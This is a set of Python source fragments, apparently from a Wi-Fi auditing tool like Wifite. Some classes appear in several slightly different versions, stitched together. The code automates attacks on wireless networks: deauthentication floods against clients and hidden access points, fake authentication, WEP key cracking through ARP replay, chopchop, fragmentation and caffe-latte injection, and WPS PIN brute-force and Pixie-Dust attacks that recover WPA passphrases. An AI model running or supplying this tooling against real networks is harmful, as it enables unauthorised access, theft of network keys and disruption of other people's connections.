def fakeauth(target, timeout=5, num_attempts=3): ''' Tries a one-time fake-authenticate with a target AP. Params: target (py.Target): Instance of py.Target timeout (int): Time to wait for fakeuth to succeed. num_attempts (int): Number of fakeauth attempts to make. Returns: (bool): True if fakeauth succeeds, otherwise False ''' cmd = [ 'aireplay-ng', '-1', '0', # Fake auth, no delay '-a', target.bssid, '-T', str(num_attempts) ] if target.essid_known: cmd.extend(['-e', target.essid]) cmd.append(Configuration.interface) fakeauth_proc = Process(cmd, devnull=False, cwd=Configuration.temp()) timer = Timer(timeout) while fakeauth_proc.poll() is None and not timer.ended(): time.sleep(0.1) if fakeauth_proc.poll() is None or timer.ended(): fakeauth_proc.interrupt() return False output = fakeauth_proc.stdout() return 'association successful' in output.lower()
def deauth(target_bssid, essid=None, client_mac=None, num_deauths=None, timeout=2): num_deauths = num_deauths or Configuration.num_deauths deauth_cmd = [ "aireplay-ng", "-0", # Deauthentication str(num_deauths), "--ignore-negative-one", "-a", target_bssid, # Target AP "-D" # Skip AP detection ] if client_mac is not None: # Station-specific deauth deauth_cmd.extend(["-c", client_mac]) if essid: deauth_cmd.extend(["-e", essid]) deauth_cmd.append(Configuration.interface) proc = Process(deauth_cmd) while proc.poll() is None: if proc.running_time() >= timeout: proc.interrupt() time.sleep(0.2)
class Aircrack(object): def __init__(self, ivs_file=None): self.cracked_file = Configuration.temp() + 'wepkey.txt' # Delete previous cracked files if os.path.exists(self.cracked_file): os.remove(self.cracked_file) command = ['aircrack-ng', '-a', '1', '-l', self.cracked_file, ivs_file] self.pid = Process(command, devnull=True) def is_running(self): return self.pid.poll() == None def is_cracked(self): return os.path.exists(self.cracked_file) def stop(self): ''' Stops aircrack process ''' if self.pid.poll() == None: self.pid.interrupt() def get_key_hex_ascii(self): if not self.is_cracked(): raise Exception('Cracked file not found') f = open(self.cracked_file, 'r') hex_raw = f.read() f.close() hex_key = '' ascii_key = '' while len(hex_raw) > 0: # HEX if hex_key != '': hex_key += ':' hex_key += hex_raw[0:2] # ASCII # Convert hex to decimal code = int(hex_raw[0:2], 16) if code < 32 or code > 127: # Hex key is non-printable in ascii ascii_key = None continue elif ascii_key == None: # We can't generate an Ascii key continue # Convert decimal to char ascii_key += chr(code) # Trim first two characters hex_raw = hex_raw[2:] continue return (hex_key, ascii_key)
class Airodump(object): ''' Wrapper around airodump-ng program ''' def __init__(self, interface=None, channel=None, encryption=None,\ wps=False, target_bssid=None, output_file_prefix='airodump',\ ivs_only=False): ''' Sets up airodump arguments, doesn't start process yet ''' Configuration.initialize() if interface == None: interface = Configuration.interface if interface == None: raise Exception("Wireless interface must be defined (-i)") self.interface = interface self.targets = [] if channel == None: channel = Configuration.target_channel self.channel = channel self.encryption = encryption self.wps = wps self.target_bssid = target_bssid self.output_file_prefix = output_file_prefix self.ivs_only = ivs_only def __enter__(self): ''' Setting things up for this context. Called at start of 'with Airodump(...) as x:' Actually starts the airodump process. ''' self.delete_airodump_temp_files() self.csv_file_prefix = Configuration.temp() + self.output_file_prefix # Build the command command = [ 'airodump-ng', self.interface, '-a', # Only show associated clients '-w', self.csv_file_prefix # Output file prefix ] if self.channel: command.extend(['-c', str(self.channel)]) if self.encryption: command.extend(['--enc', self.encryption]) if self.wps: command.extend(['--wps']) if self.target_bssid: command.extend(['--bssid', self.target_bssid]) if self.ivs_only: command.extend(['--output-format', 'ivs,csv']) else: command.extend(['--output-format', 'pcap,csv']) # Start the process self.pid = Process(command, devnull=True) return self def __exit__(self, type, value, traceback): ''' Tearing things down since the context is being exited. Called after 'with Airodump(...)' goes out of scope. ''' # Kill the process self.pid.interrupt() # Delete temp files self.delete_airodump_temp_files() def find_files(self, endswith=None): ''' Finds all files in the temp directory that start with the output_file_prefix ''' result = [] for fil in os.listdir(Configuration.temp()): if fil.startswith(self.output_file_prefix): if not endswith or fil.endswith(endswith): result.append(Configuration.temp() + fil) return result def delete_airodump_temp_files(self): ''' Deletes airodump* files in the temp directory. Also deletes replay_*.cap and *.xor files in pwd. ''' # Remove all temp files for fil in self.find_files(): os.remove(fil) # Remove .cap and .xor files from pwd for fil in os.listdir('.'): if fil.startswith('replay_') and fil.endswith('.cap'): os.remove(fil) if fil.endswith('.xor'): os.remove(fil) def get_targets(self): ''' Parses airodump's CSV file, returns list of Targets ''' # Find the .CSV file csv_filename = None for fil in self.find_files(endswith='-01.csv'): # Found the file csv_filename = fil break if csv_filename == None or not os.path.exists(csv_filename): # No file found return self.targets # Parse the .CSV file targets = Airodump.get_targets_from_csv(csv_filename) # Check targets for WPS capfile = csv_filename[:-3] + 'cap' Wash.check_for_wps_and_update_targets(capfile, targets) # Filter targets based on encryption targets = Airodump.filter_targets(targets) # Sort by power targets.sort(key=lambda x: x.power, reverse=True) self.targets = targets return self.targets @staticmethod def get_targets_from_csv(csv_filename): ''' Returns list of Target objects parsed from CSV file ''' targets = [] import csv with open(csv_filename, 'rb') as csvopen: lines = (line.replace('\0', '') for line in csvopen) csv_reader = csv.reader(lines, delimiter=',') hit_clients = False for row in csv_reader: # Each "row" is a list of fields for a target/client if len(row) == 0: continue if row[0].strip() == 'BSSID': # This is the "header" for the list of Targets hit_clients = False continue elif row[0].strip() == 'Station MAC': # This is the "header" for the list of Clients hit_clients = True continue if hit_clients: # The current row corresponds to a "Client" (computer) client = Client(row) if 'not associated' in client.bssid: # Ignore unassociated clients continue # Add this client to the appropriate Target for t in targets: if t.bssid == client.bssid: t.clients.append(client) break else: # The current row corresponds to a "Target" (router) target = Target(row) if target.essid_len == 0: # Ignore empty/blank ESSIDs continue targets.append(target) return targets @staticmethod def filter_targets(targets): ''' Filters targets based on Configuration ''' result = [] # Filter based on Encryption for target in targets: if 'WEP' in Configuration.encryption_filter and \ 'WEP' in target.encryption: result.append(target) elif 'WPA' in Configuration.encryption_filter and \ 'WPA' in target.encryption: result.append(target) elif 'WPS' in Configuration.encryption_filter and \ target.wps: result.append(target) # Filter based on BSSID/ESSID bssid = Configuration.target_bssid essid = Configuration.target_essid i = 0 while i < len(result): if bssid and result[i].bssid.lower() != bssid.lower(): result.pop(i) continue if essid and result[i].essid.lower() != essid.lower(): result.pop(i) continue i += 1 return result
def run_pixiedust_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) command = [ 'reaver', '--interface', Configuration.interface, '--bssid', self.target.bssid, '--channel', self.target.channel, '--pixie-dust', '1', # pixie-dust attack #'--delay', '0', #'--no-nacks', '--session', '/dev/null', # Don't restart session '-vv' # (very) verbose ] stdout_write = open(self.stdout_file, 'a') reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) pin = None step = 'initializing' time_since_last_step = 0 with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix='pixie') as airodump: Color.clear_line() Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...") while True: try: airodump_target = self.wait_for_target(airodump) except Exception as e: Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e) Color.pl("") return False stdout_write.flush() # Check output from reaver process stdout = self.get_stdout() stdout_last_line = stdout.split('\n')[-1] (pin, psk, ssid) = self.get_pin_psk_ssid(stdout) # Check if we cracked it, or if process stopped. if (pin and psk and ssid) or reaver.poll() != None: reaver.interrupt() # Check one-last-time for PIN/PSK/SSID, in case of race condition. stdout = self.get_stdout() (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout) # Check if we cracked it. if pin and psk and ssid: # We cracked it. bssid = self.target.bssid Color.clear_line() Color.pattack( "WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n") self.crack_result = CrackResultWPS( bssid, ssid, pin, psk) self.crack_result.dump() return True else: # Failed to crack, reaver proces ended. Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n") return False if 'WPS pin not found' in stdout: Color.pl('{R}failed: {O}WPS pin not found{W}') break last_step = step # Status updates, depending on last line of stdout if 'Waiting for beacon from' in stdout_last_line: step = '({C}step 1/8{W}) waiting for beacon' elif 'Associated with' in stdout_last_line: step = '({C}step 2/8{W}) waiting to start session' elif 'Starting Cracking Session.' in stdout_last_line: step = '({C}step 3/8{W}) waiting to try pin' elif 'Trying pin' in stdout_last_line: step = '({C}step 4/8{W}) trying pin' elif 'Sending EAPOL START request' in stdout_last_line: step = '({C}step 5/8{W}) sending eapol start request' elif 'Sending identity response' in stdout_last_line: step = '({C}step 6/8{W}) sending identity response' elif 'Sending M2 message' in stdout_last_line: step = '({C}step 7/8{W}) sending m2 message (may take a while)' elif 'Detected AP rate limiting,' in stdout_last_line: if Configuration.wps_skip_rate_limit: Color.pl('{R}failed: {O}hit WPS rate-limit{W}') Color.pl( '{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break step = '({C}step -/8{W}) waiting for AP rate limit' if step != last_step: # Step changed, reset step timer time_since_last_step = 0 else: time_since_last_step += 1 if time_since_last_step > Configuration.wps_pixie_step_timeout: Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout) break # TODO: Timeout check if reaver.running_time() > Configuration.wps_pixie_timeout: Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout) break # Reaver Failure/Timeout check fail_count = stdout.count('WPS transaction failed') if fail_count > Configuration.wps_fail_threshold: Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count) break timeout_count = stdout.count('Receive timeout occurred') if timeout_count > Configuration.wps_timeout_threshold: Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count) break Color.clear_line() Color.pattack("WPS", airodump_target, "Pixie-Dust", step) time.sleep(1) continue # Attack failed, already printed reason why reaver.interrupt() stdout_write.close() return False
def run_wps_pin_attack(self): # Write reaver stdout to file. self.stdout_file = Configuration.temp('reaver.out') if os.path.exists(self.stdout_file): os.remove(self.stdout_file) stdout_write = open(self.stdout_file, 'a') # Start reaver process command = [ 'reaver', '--interface', Configuration.interface, '--bssid', self.target.bssid, '--channel', self.target.channel, '--session', '/dev/null', # Don't restart session '-vv' # verbose ] reaver = Process(command, stdout=stdout_write, stderr=Process.devnull()) self.success = False pins = set() pin_current = 0 pin_total = 11000 failures = 0 state = 'initializing' with Airodump(channel=self.target.channel, target_bssid=self.target.bssid, skip_wash=True, output_file_prefix='wps') as airodump: Color.clear_line() Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...") while True: try: airodump_target = self.wait_for_target(airodump) except Exception as e: Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e) Color.pl("") return False time.sleep(1) percent = 100 * float(pin_current) / float(pin_total) Color.clear_line() status = '{G}%.2f%% done{W}, ' % percent status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total) status += '{R}%d/%d failures{W}' % ( failures, Configuration.wps_fail_threshold) Color.pattack("WPS", airodump_target, "PIN Attack", status) if failures >= Configuration.wps_fail_threshold: Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}') Color.pl("") break # Get output out = self.get_stdout() # Clear output file f = open(self.stdout_file, 'w') f.write('') f.close() # CHECK FOR CRACK (pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out) if pin and psk and ssid: # We cracked it. self.success = True Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n') self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk) self.crack_result.dump() break # PIN PROGRESS # Reaver 1.5.* match = None for match in re.finditer( 'Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out): # Look at last entry for "Pin count advanced" to get latest pin count pass if match: # Reset failures on successful try failures = 0 groups = match.groups() pin_current = int(groups[0]) pin_total = int(groups[1]) # Reaver 1.3, 1.4 match = None for match in re.finditer('Trying pin (\d+)', out): if match: pin = int(match.groups()[0]) if pin not in pins: # Reset failures on successful try failures = 0 pins.add(pin) pin_current += 1 # Failures if 'WPS transaction failed' in out: failures += out.count('WPS transaction failed') elif 'Receive timeout occurred' in out: # Reaver 1.4 failures += out.count('Receive timeout occurred') # Status if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}' if 'Starting Cracking Session' in out: state = '{C}cracking{W}' # Reaver 1.4 if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}' if 'Detected AP rate limiting' in out: state = '{R}rate-limited{W}' if Configuration.wps_skip_rate_limit: Color.pl(state) Color.pl('{!} {R}hit rate limit, stopping{W}') Color.pl( '{!} {O}use {R}--ignore-ratelimit{O} to ignore' + ' this kind of failure in the future{W}') break if 'WARNING: Failed to associate with' in out: # TODO: Fail after X association failures (instead of just one) Color.pl( '\n{!} {R}failed to associate with target, {O}stopping{W}' ) break match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta match = re.search( 'Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out) if match: eta = match.groups()[0] state = '{C}cracking, ETA: {G}%s{W}' % eta pins_left = int(match.groups()[1]) # Divine pin_current & pin_total from this: pin_current = 11000 - pins_left # Check if process is still running if reaver.pid.poll() != None: Color.pl('{R}failed{W}') Color.pl('{!} {R}reaver{O} quit unexpectedly{W}') self.success = False break # Output the current state Color.p(state) ''' [+] Waiting for beacon from AA:BB:CC:DD:EE:FF [+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>) [+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000 [+] Trying pin 12345670. [+] Pin count advanced: 46. Max pin attempts: 11000 [!] WPS transaction failed (code: 0x02), re-trying last pin [!] WPS transaction failed (code: 0x03), re-trying last pin [!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445) [!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking [!] WARNING: 25 successive start failures [!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217) [+] 0.55% complete. Elapsed time: 0d0h2m21s. [+] Estimated Remaining time: 0d15h11m35s [+] Pin cracked in 7 seconds [+] WPS PIN: '12345678' [+] WPA PSK: 'abcdefgh' [+] AP SSID: 'Test Router' Reaver 1.4: [+] Max time remaining at this rate: 18:19:36 (10996 pins left to try) [!] WARNING: Receive timeout occurred ''' reaver.interrupt() return self.success
class Airodump(object): ''' Wrapper around airodump-ng program ''' def __init__(self, interface=None, channel=None, encryption=None,\ wps=False, target_bssid=None, output_file_prefix='airodump',\ ivs_only=False, skip_wash=False): ''' Sets up airodump arguments, doesn't start process yet ''' Configuration.initialize() if interface == None: interface = Configuration.interface if interface == None: raise Exception("Wireless interface must be defined (-i)") self.interface = interface self.targets = [] if channel == None: channel = Configuration.target_channel self.channel = channel self.five_ghz = Configuration.five_ghz self.encryption = encryption self.wps = wps self.target_bssid = target_bssid self.output_file_prefix = output_file_prefix self.ivs_only = ivs_only self.skip_wash = skip_wash def __enter__(self): ''' Setting things up for this context. Called at start of 'with Airodump(...) as x:' Actually starts the airodump process. ''' self.delete_airodump_temp_files() self.csv_file_prefix = Configuration.temp() + self.output_file_prefix # Build the command command = [ 'airodump-ng', self.interface, '-a', # Only show associated clients '-w', self.csv_file_prefix # Output file prefix ] if self.channel: command.extend(['-c', str(self.channel)]) elif self.five_ghz: command.extend(['--band', 'abg']) if self.encryption: command.extend(['--enc', self.encryption]) if self.wps: command.extend(['--wps']) if self.target_bssid: command.extend(['--bssid', self.target_bssid]) if self.ivs_only: command.extend(['--output-format', 'ivs,csv']) else: command.extend(['--output-format', 'pcap,csv']) # Start the process self.pid = Process(command, devnull=True) return self def __exit__(self, type, value, traceback): ''' Tearing things down since the context is being exited. Called after 'with Airodump(...)' goes out of scope. ''' # Kill the process self.pid.interrupt() # Delete temp files self.delete_airodump_temp_files() def find_files(self, endswith=None): ''' Finds all files in the temp directory that start with the output_file_prefix ''' result = [] for fil in os.listdir(Configuration.temp()): if fil.startswith(self.output_file_prefix): if not endswith or fil.endswith(endswith): result.append(Configuration.temp() + fil) return result def delete_airodump_temp_files(self): ''' Deletes airodump* files in the temp directory. Also deletes replay_*.cap and *.xor files in pwd. ''' # Remove all temp files for fil in self.find_files(): os.remove(fil) # Remove .cap and .xor files from pwd for fil in os.listdir('.'): if fil.startswith('replay_') and fil.endswith('.cap'): os.remove(fil) if fil.endswith('.xor'): os.remove(fil) def get_targets(self): ''' Parses airodump's CSV file, returns list of Targets ''' # Find the .CSV file csv_filename = None for fil in self.find_files(endswith='-01.csv'): # Found the file csv_filename = fil break if csv_filename == None or not os.path.exists(csv_filename): # No file found return self.targets # Parse the .CSV file targets = Airodump.get_targets_from_csv(csv_filename) # Check targets for WPS if not self.skip_wash: capfile = csv_filename[:-3] + 'cap' Wash.check_for_wps_and_update_targets(capfile, targets) # Filter targets based on encryption targets = Airodump.filter_targets(targets) # Sort by power targets.sort(key=lambda x: x.power, reverse=True) self.targets = targets return self.targets @staticmethod def get_targets_from_csv(csv_filename): ''' Returns list of Target objects parsed from CSV file ''' targets = [] import csv with open(csv_filename, 'rb') as csvopen: lines = (line.replace('\0', '') for line in csvopen) csv_reader = csv.reader(lines, delimiter=',') hit_clients = False for row in csv_reader: # Each "row" is a list of fields for a target/client if len(row) == 0: continue if row[0].strip() == 'BSSID': # This is the "header" for the list of Targets hit_clients = False continue elif row[0].strip() == 'Station MAC': # This is the "header" for the list of Clients hit_clients = True continue if hit_clients: # The current row corresponds to a "Client" (computer) try: client = Client(row) except IndexError: # Skip if we can't parse the client row continue if 'not associated' in client.bssid: # Ignore unassociated clients continue # Add this client to the appropriate Target for t in targets: if t.bssid == client.bssid: t.clients.append(client) break else: # The current row corresponds to a "Target" (router) target = Target(row) if target.essid_len == 0: # Ignore empty/blank ESSIDs continue if target.channel == "-1": # Ignore -1 channel continue targets.append(target) return targets @staticmethod def filter_targets(targets): ''' Filters targets based on Configuration ''' result = [] # Filter based on Encryption for target in targets: if 'WEP' in Configuration.encryption_filter and \ 'WEP' in target.encryption: result.append(target) elif 'WPA' in Configuration.encryption_filter and \ 'WPA' in target.encryption: result.append(target) elif 'WPS' in Configuration.encryption_filter and \ target.wps: result.append(target) # Filter based on BSSID/ESSID bssid = Configuration.target_bssid essid = Configuration.target_essid i = 0 while i < len(result): if bssid and result[i].bssid.lower() != bssid.lower(): result.pop(i) continue if essid and result[i].essid.lower() != essid.lower(): result.pop(i) continue i += 1 return result
class Aircrack(object): def __init__(self, ivs_file=None): self.cracked_file = Configuration.temp() + 'wepkey.txt' # Delete previous cracked files if os.path.exists(self.cracked_file): os.remove(self.cracked_file) command = [ 'aircrack-ng', '-a', '1', '-l', self.cracked_file, ivs_file ] self.pid = Process(command, devnull=True) def is_running(self): return self.pid.poll() == None def is_cracked(self): return os.path.exists(self.cracked_file) def stop(self): ''' Stops aircrack process ''' if self.pid.poll() == None: self.pid.interrupt() def get_key_hex_ascii(self): if not self.is_cracked(): raise Exception('Cracked file not found') f = open(self.cracked_file, 'r') hex_raw = f.read() f.close() hex_key = '' ascii_key = '' while len(hex_raw) > 0: # HEX if hex_key != '': hex_key += ':' hex_key += hex_raw[0:2] # ASCII # Convert hex to decimal code = int(hex_raw[0:2], 16) if code < 32 or code > 127: # Hex key is non-printable in ascii ascii_key = None continue elif ascii_key == None: # We can't generate an Ascii key continue # Convert decimal to char ascii_key += chr(code) # Trim first two characters hex_raw = hex_raw[2:] continue return (hex_key, ascii_key)
class Airodump(object): ''' Wrapper around airodump-ng program ''' def __init__(self, interface=None, channel=None, encryption=None,\ wps=False, target_bssid=None, output_file_prefix='airodump',\ ivs_only=False, skip_wash=False): ''' Sets up airodump arguments, doesn't start process yet ''' Configuration.initialize() if interface == None: interface = Configuration.interface if interface == None: raise Exception("Wireless interface must be defined (-i)") self.interface = interface self.targets = [] if channel == None: channel = Configuration.target_channel self.channel = channel self.five_ghz = Configuration.five_ghz self.encryption = encryption self.wps = wps self.target_bssid = target_bssid self.output_file_prefix = output_file_prefix self.ivs_only = ivs_only self.skip_wash = skip_wash # For tracking decloaked APs (previously were hidden) self.decloaking = False self.decloaked_targets = [] self.decloaked_times = { } # Map of BSSID(str) -> epoch(int) of last deauth def __enter__(self): ''' Setting things up for this context. Called at start of 'with Airodump(...) as x:' Actually starts the airodump process. ''' self.delete_airodump_temp_files() self.csv_file_prefix = Configuration.temp() + self.output_file_prefix # Build the command command = [ 'airodump-ng', self.interface, '-a', # Only show associated clients '-w', self.csv_file_prefix, # Output file prefix '--write-interval', '1' # Write every second ] if self.channel: command.extend(['-c', str(self.channel)]) elif self.five_ghz: command.extend(['--band', 'a']) if self.encryption: command.extend(['--enc', self.encryption]) if self.wps: command.extend(['--wps']) if self.target_bssid: command.extend(['--bssid', self.target_bssid]) if self.ivs_only: command.extend(['--output-format', 'ivs,csv']) else: command.extend(['--output-format', 'pcap,csv']) # Start the process self.pid = Process(command, devnull=True) return self def __exit__(self, type, value, traceback): ''' Tearing things down since the context is being exited. Called after 'with Airodump(...)' goes out of scope. ''' # Kill the process self.pid.interrupt() # Delete temp files self.delete_airodump_temp_files() def find_files(self, endswith=None): ''' Finds all files in the temp directory that start with the output_file_prefix ''' result = [] for fil in os.listdir(Configuration.temp()): if fil.startswith(self.output_file_prefix): if not endswith or fil.endswith(endswith): result.append(Configuration.temp() + fil) return result def delete_airodump_temp_files(self): ''' Deletes airodump* files in the temp directory. Also deletes replay_*.cap and *.xor files in pwd. ''' # Remove all temp files for fil in self.find_files(): os.remove(fil) # Remove .cap and .xor files from pwd for fil in os.listdir('.'): if fil.startswith('replay_') and fil.endswith('.cap'): os.remove(fil) if fil.endswith('.xor'): os.remove(fil) def get_targets(self): ''' Parses airodump's CSV file, returns list of Targets ''' # Find the .CSV file csv_filename = None for fil in self.find_files(endswith='-01.csv'): # Found the file csv_filename = fil break if csv_filename == None or not os.path.exists(csv_filename): # No file found return self.targets # Parse the .CSV file targets = Airodump.get_targets_from_csv(csv_filename) # Check targets for WPS if not self.skip_wash: capfile = csv_filename[:-3] + 'cap' Wash.check_for_wps_and_update_targets(capfile, targets) # Filter targets based on encryption targets = Airodump.filter_targets(targets, skip_wash=self.skip_wash) # Sort by power targets.sort(key=lambda x: x.power, reverse=True) for old_target in self.targets: for new_target in targets: if old_target.bssid != new_target.bssid: continue if new_target.essid_known and not old_target.essid_known: # We decloaked a target! self.decloaked_targets.append(new_target) self.targets = targets self.deauth_hidden_targets() return self.targets @staticmethod def get_targets_from_csv(csv_filename): ''' Returns list of Target objects parsed from CSV file ''' targets = [] import csv with open(csv_filename, 'rb') as csvopen: lines = (line.replace('\0', '') for line in csvopen) csv_reader = csv.reader(lines, delimiter=',') hit_clients = False for row in csv_reader: # Each "row" is a list of fields for a target/client if len(row) == 0: continue if row[0].strip() == 'BSSID': # This is the "header" for the list of Targets hit_clients = False continue elif row[0].strip() == 'Station MAC': # This is the "header" for the list of Clients hit_clients = True continue if hit_clients: # The current row corresponds to a "Client" (computer) try: client = Client(row) except IndexError: # Skip if we can't parse the client row continue if 'not associated' in client.bssid: # Ignore unassociated clients continue # Add this client to the appropriate Target for t in targets: if t.bssid == client.bssid: t.clients.append(client) break else: # The current row corresponds to a "Target" (router) target = Target(row) if target.essid_len == 0: # Ignore empty/blank ESSIDs pass if target.channel == "-1": # Ignore -1 channel pass targets.append(target) return targets @staticmethod def filter_targets(targets, skip_wash=False): ''' Filters targets based on Configuration ''' result = [] # Filter based on Encryption for target in targets: if 'WEP' in Configuration.encryption_filter and 'WEP' in target.encryption: result.append(target) elif 'WPA' in Configuration.encryption_filter and 'WPA' in target.encryption: result.append(target) elif 'WPS' in Configuration.encryption_filter and target.wps: result.append(target) elif skip_wash: result.append(target) # Filter based on BSSID/ESSID bssid = Configuration.target_bssid essid = Configuration.target_essid i = 0 while i < len(result): if bssid and result[i].bssid.lower() != bssid.lower(): result.pop(i) continue if essid and result[i].essid.lower() != essid.lower(): result.pop(i) continue i += 1 return result def deauth_hidden_targets(self): ''' Sends deauths (to broadcast and to each client) for all targets (APs) that have unknown ESSIDs (hidden router names). ''' self.decloaking = False # Do not deauth if requested if Configuration.no_deauth: return # Do not deauth if channel is not fixed. if self.channel is None: return # Reusable deauth command deauth_cmd = [ 'aireplay-ng', '-0', # Deauthentication '1', # Number of deauths to perform. '--ignore-negative-one' ] for target in self.targets: if target.essid_known: continue now = int(time.time()) secs_since_decloak = now - self.decloaked_times.get( target.bssid, 0) # Decloak every AP once every 30 seconds if secs_since_decloak < 30: continue self.decloaking = True self.decloaked_times[target.bssid] = now if Configuration.verbose > 1: from Color import Color verbout = " [?] Deauthing %s" % target.bssid verbout += " (broadcast & %d clients)" % len(target.clients) Color.pe("\n{C}" + verbout + "{W}") # Deauth broadcast iface = Configuration.interface Process(deauth_cmd + ['-a', target.bssid, iface]) # Deauth clients for client in target.clients: Process(deauth_cmd + ['-c', client.bssid, iface])
class Aireplay(object): def __init__(self, target, attack_type, client_mac=None, replay_file=None): ''' Starts aireplay process. Args: target - Instance of Target object, AP to attack. attack_type - int, str, or WEPAttackType instance. client_mac - MAC address of an associated client. ''' cmd = Aireplay.get_aireplay_command(target, attack_type, client_mac=client_mac, replay_file=replay_file) # TODO: set 'stdout' when creating process to store output to file. # AttackWEP will read file to get status of attack. # E.g., chopchop will regex "(\d+)% done" to get percent complete. ''' from subprocess import PIPE sout = PIPE if '--chopchop' in cmd: sout = open(Configuration.temp('chopchop'), 'w') ''' self.pid = Process(cmd, devnull=False, cwd=Configuration.temp()) def is_running(self): return self.pid.poll() == None def stop(self): ''' Stops aireplay process ''' if self.pid and self.pid.poll() != None: self.pid.interrupt() def get_output(self): ''' Returns stdout from aireplay process ''' return self.pid.stdout() @staticmethod def get_aireplay_command(target, attack_type, client_mac=None, replay_file=None): ''' Generates aireplay command based on target and attack type Args: target - Instance of Target object, AP to attack. attack_type - int, str, or WEPAttackType instance. client_mac - MAC address of an associated client. replay_file - .Cap file to replay via --arpreplay ''' # Interface is required at this point Configuration.initialize() if Configuration.interface == None: raise Exception("Wireless interface must be defined (-i)") cmd = ['aireplay-ng'] cmd.append('--ignore-negative-one') if not client_mac and len(target.clients) > 0: # Client MAC wasn't specified, but there's an associated client. Use that. client_mac = target.clients[0].station # type(attack_type) might be str, int, or WEPAttackType. # Find the appropriate attack enum. attack_type = WEPAttackType(attack_type).value if attack_type == WEPAttackType.fakeauth: cmd.extend(['-1', '0']) # Fake auth, no delay cmd.extend(['-a', target.bssid]) cmd.extend(['-T', '3']) # Make 3 attempts if target.essid_known: cmd.extend(['-e', target.essid]) # Do not specify client MAC address, # we're trying to fake-authenticate using *our* MAC elif attack_type == WEPAttackType.replay: cmd.append('--arpreplay') cmd.extend(['-b', target.bssid]) cmd.extend(['-x', str(Configuration.wep_pps)]) if client_mac: cmd.extend(['-h', client_mac]) elif attack_type == WEPAttackType.chopchop: cmd.append('--chopchop') cmd.extend(['-b', target.bssid]) cmd.extend(['-x', str(Configuration.wep_pps)]) cmd.extend(['-m', '60']) # Minimum packet length (bytes) cmd.extend(['-n', '82']) # Maximum packet length cmd.extend(['-F']) # Automatically choose first packet if client_mac: cmd.extend(['-h', client_mac]) elif attack_type == WEPAttackType.fragment: cmd.append('--fragment') cmd.extend(['-b', target.bssid]) cmd.extend(['-x', str(Configuration.wep_pps)]) cmd.extend(['-m', '100']) # Minimum packet length (bytes) cmd.extend(['-F']) # Automatically choose first packet if client_mac: cmd.extend(['-h', client_mac]) elif attack_type == WEPAttackType.caffelatte: cmd.append('--caffe-latte') cmd.extend(['-b', target.bssid]) if client_mac: cmd.extend(['-h', client_mac]) elif attack_type == WEPAttackType.p0841: cmd.append('--interactive') cmd.extend(['-b', target.bssid]) cmd.extend(['-c', 'ff:ff:ff:ff:ff:ff']) cmd.extend(['-t', '1']) cmd.extend(['-x', str(Configuration.wep_pps)]) cmd.extend(['-F']) # Automatically choose first packet cmd.extend(['-p', '0841']) if client_mac: cmd.extend(['-h', client_mac]) elif attack_type == WEPAttackType.hirte: if client_mac == None: # Unable to carry out hirte attack raise Exception("Client is required for hirte attack") cmd.append('--cfrag') cmd.extend(['-h', client_mac]) elif attack_type == WEPAttackType.forgedreplay: if client_mac == None or replay_file == None: raise Exception( "Client_mac and Replay_File are required for arp replay") cmd.append('--arpreplay') cmd.extend(['-b', target.bssid]) cmd.extend(['-r', replay_file]) cmd.extend(['-F']) # Automatically choose first packet cmd.extend(['-x', str(Configuration.wep_pps)]) else: raise Exception("Unexpected attack type: %s" % attack_type) cmd.append(Configuration.interface) return cmd @staticmethod def get_xor(): ''' Finds the last .xor file in the directory ''' xor = None for fil in os.listdir(Configuration.temp()): if fil.startswith('replay_') and fil.endswith('.xor'): xor = fil return xor @staticmethod def forge_packet(xor_file, bssid, station_mac): ''' Forges packet from .xor file ''' forged_file = 'forged.cap' cmd = [ 'packetforge-ng', '-0', '-a', bssid, # Target MAC '-h', station_mac, # Client MAC '-k', '192.168.1.2', # Dest IP '-l', '192.168.1.100', # Source IP '-y', xor_file, # Read PRNG from .xor file '-w', forged_file, # Write to Configuration.interface ] cmd = '"%s"' % '" "'.join(cmd) (out, err) = Process.call(cmd, cwd=Configuration.temp(), shell=True) if out.strip() == 'Wrote packet to: %s' % forged_file: return forged_file else: from Color import Color Color.pl('{!} {R}failed to forge packet from .xor file{W}') Color.pl('output:\n"%s"' % out) return None
